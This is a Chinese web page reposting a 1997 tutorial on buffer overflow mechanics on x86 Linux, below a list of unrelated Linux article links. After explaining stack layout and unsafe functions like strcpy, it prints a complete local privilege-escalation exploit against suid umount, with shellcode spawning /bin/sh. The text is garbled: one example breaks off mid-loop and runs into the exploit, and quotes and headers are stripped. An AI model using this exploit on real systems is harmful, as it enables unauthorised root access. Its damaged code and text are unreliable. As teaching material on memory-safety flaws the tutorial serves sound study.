- Li的横向排列自适应宽度问题
- [图文] 挖掘Linux操作系统堆内存释放的奥秘
- 解析Linux笔记本基于“敲打”的命令
- [图文] 嵌入式Linux平台的多协议路由器的设计
- 教你如何实现Linux与windows文件互传
- 使用Linux系统的Shell脚本维护Oracle
- 详解Linux操作系统设备驱动兼容性
- 独辟蹊径 实现Linux下局域网远程接入
- 怎样把Linux服务器当作Mac的服务器
- Linux系统内核网络参数的意义及应用
- 深入浅出Linux设备驱动之字符设备驱动程序
- Linux脚本开发数学库在PHP中的重要性
- Linux如何处理当前运行环境的环境变量
- Linux 命令行下如何配置nVIDIA显卡
- 利用异常表处理Linux内核态缺页异常
- Linux下的中文显示和支持常见问题解答
- 深入浅出Linux操作系统的优化和微调
- [图文] Linux下双网卡绑定技术实现负载均衡
- Linux大腕警告称开源软件存在安全问题
- 在Linux操作系统中实现内部进程通信
为由于使用文中内容而引起的任何破坏或问题负责。使用本文内容的风险由使用
者自己承担。
计算机应用工作室1997年版权所有
##########################################
缓冲区溢出(buffer overflow)机理分析
##########################################
Only 1997.7.19
Only.bbs@bbs.sjtu.edu.cn
1.什么是缓冲区溢出?
~~~~~~~~~~~~~~~~~~~
buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手
段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程
序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区
溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程
序:
example1.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
----------------------------------------------------------------------
上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度
大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的
标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault
错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行
一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限
的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel
x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应
修改。
2.制造缓冲区溢出
~~~~~~~~~~~~~~~~
一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程
序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈
来存放。在内存中,它们的位置是:
+------------------+ 内存低端
| 程序段 |
|------------------|
| 数据段 |
|------------------|
| 堆栈 |
+------------------+ 内存高端
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后
保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄
存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变
量留出一定空间,把SP减去适当的数值。以下面程序为例:
example2.c
----------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i
#include
#include
#include
#include
#define PATH_MOUNT /bin/umount
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__(movl %esp, %eax);
}
main(int argc, char **argv)
{
u_char execshell[] =
\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f
\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd
\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf(cant allocate memory\n);
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf(Discovered and Coded by Bloodmask and Vio, Covin 1996\n);
execl(PATH_MOUNT, mount, buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区
buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望
程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成
mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将
获得一个具有root权限的shell。
[编辑:百家电脑学院] [返回学院首页] [返回上一页] []
·上一篇:在 Linux 上使用Zebra构建网络路由器 · 下一篇:Linux Kernel kNFSd 整数溢出 拒绝服务漏洞

